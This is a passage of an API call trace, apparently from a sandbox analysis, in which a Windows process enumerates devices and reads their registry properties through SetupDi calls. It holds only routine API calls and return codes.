DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.125] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.125] GetLastError () returned 0xd [0242.125] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x25, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.126] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.130] GetLastError () returned 0x7a [0242.130] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fac8, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fac8, RequiredSize=0x19fe7c) returned 1 [0242.138] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.138] GetLastError () returned 0x7a [0242.138] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb40, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb40, RequiredSize=0x19fe7c) returned 1 [0242.138] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x26, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.139] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.148] GetLastError () returned 0x7a [0242.148] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x20, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.154] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.155] GetLastError () returned 0x7a [0242.155] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa68, PropertyBufferSize=0x5, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa68, RequiredSize=0x19fe7c) returned 1 [0242.155] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x27, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.155] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.156] GetLastError () returned 0xd [0242.156] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.156] GetLastError () returned 0xd [0242.156] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x28, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.156] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.160] GetLastError () returned 0x7a [0242.160] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x19, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.163] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.163] GetLastError () returned 0x7a [0242.163] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xc, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.164] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x29, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.164] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.214] GetLastError () returned 0x7a [0242.214] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x3a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.246] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.246] GetLastError () returned 0x7a [0242.246] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb10, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb10, RequiredSize=0x19fe7c) returned 1 [0242.247] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2a, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.247] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.285] GetLastError () returned 0x7a [0242.285] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.330] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.330] GetLastError () returned 0x7a [0242.330] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261faf8, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261faf8, RequiredSize=0x19fe7c) returned 1 [0242.331] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2b, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.331] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.343] GetLastError () returned 0x7a [0242.343] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.345] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.346] GetLastError () returned 0xd [0242.346] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2c, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.346] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.350] GetLastError () returned 0x7a [0242.350] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x17, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.355] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.356] GetLastError () returned 0xd [0242.356] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2d, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.356] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.361] GetLastError () returned 0x7a [0242.361] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x2b, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.366] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.366] GetLastError () returned 0x7a [0242.366] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xb, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.367] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2e, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.367] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.370] GetLastError () returned 0x7a [0242.370] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.373] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.373] GetLastError () returned 0xd [0242.373] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2f, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.373] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.381] GetLastError () returned 0x7a [0242.381] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.386] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.387] GetLastError () returned 0xd [0242.387] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x30, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.387] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.395] GetLastError () returned 0x7a [0242.395] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x16, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.400] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.400] GetLastError () returned 0xd [0242.400] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x31, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.400] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.499] GetLastError () returned 0x7a [0242.500] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x17, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.503] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.503] GetLastError () returned 0x7a [0242.504] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xf, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.504] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x32, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.504] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.854] GetLastError () returned 0x7a [0242.854] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x13, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.945] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.945] GetLastError () returned 0x7a [0242.945] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa80, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa80, RequiredSize=0x19fe7c) returned 1 [0242.946] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x33, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.946] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.949] GetLastError () returned 0x7a [0242.949] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0242.953] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0242.953] GetLastError () returned 0xd [0242.953] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x34, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0242.953] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0244.481] GetLastError () returned 0x7a [0244.482] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.070] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.070] GetLastError () returned 0x7a [0245.070] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fab0, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fab0, RequiredSize=0x19fe7c) returned 1 [0245.071] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x35, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0245.071] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.086] GetLastError () returned 0x7a [0245.086] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x28, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.092] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.092] GetLastError () returned 0x7a [0245.092] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.093] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x36, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0245.093] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.131] GetLastError () returned 0x7a [0245.131] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x1b, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.135] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.136] GetLastError () returned 0x7a [0245.136] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa38, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa38, RequiredSize=0x19fe7c) returned 1 [0245.136] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x37, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0245.136] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.250] GetLastError () returned 0x7a [0245.250] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x1b, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0245.282] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0245.282] GetLastError () returned 0x7a [0245.282] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, 